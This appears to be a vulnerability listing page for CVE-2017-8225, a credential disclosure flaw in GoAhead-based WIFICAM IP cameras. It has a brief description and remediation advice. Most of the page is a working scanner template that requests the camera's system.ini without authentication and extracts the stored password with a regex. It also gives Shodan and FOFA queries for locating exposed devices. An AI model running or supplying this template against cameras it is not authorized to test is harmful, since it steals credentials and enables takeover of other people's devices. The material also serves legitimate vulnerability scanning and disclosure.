CVE-2017-8225: GoAhead Camera - Credential Disclosure

2026-09-01 Unknown PoC Public

Description

GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.

PoC

id: CVE-2017-8225

info:
  name: GoAhead Camera - Credential Disclosure
  author: K3ysTr0K3R
  severity: critical
  description: |
    GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.
  impact: |
    Successful exploitation can disclose camera authentication credentials to an unauthenticated remote attacker, potentially allowing unauthorized access to the affected device.
  remediation: |
    Update affected camera firmware to the latest available version. Where firmware updates are unavailable, restrict access to the camera's HTTP interface and avoid exposing the device directly to untrusted networks.
  reference:
    - https://github.com/K3ysTr0K3R/CVE-2017-8225-EXPLOIT
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8225
  classification:
    cve-id: CVE-2017-8225
    epss-score: 0.35359
    epss-percentile: 0.98364
    cwe-id: CWE-200
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 1
    shodan-query: "GoAhead-Webs"
    fofa-query: "GoAhead-Webs"
  tags: cve,cve2017,goahead,credentials,camera,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/system.ini?loginuse&loginpas"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<html"
        negative: true

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: regex
        part: body
        regex:
          - '[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}'

    extractors:
      - type: regex
        part: body
        name: password
        group: 1
        regex:
          - '(?:[a-zA-Z0-9]{0,10}(?:admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}).{20}([ -~]{1,31})'
# digest: 4a0a00473045022100cea94c641fe02a9a27c8123725725e22915dcba606a7806e5c1d7dcffe70397202204388dfcfc91a98d3b7841b4b67f656e49bd3dd7f20db67ac5bf573aa618e8880:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.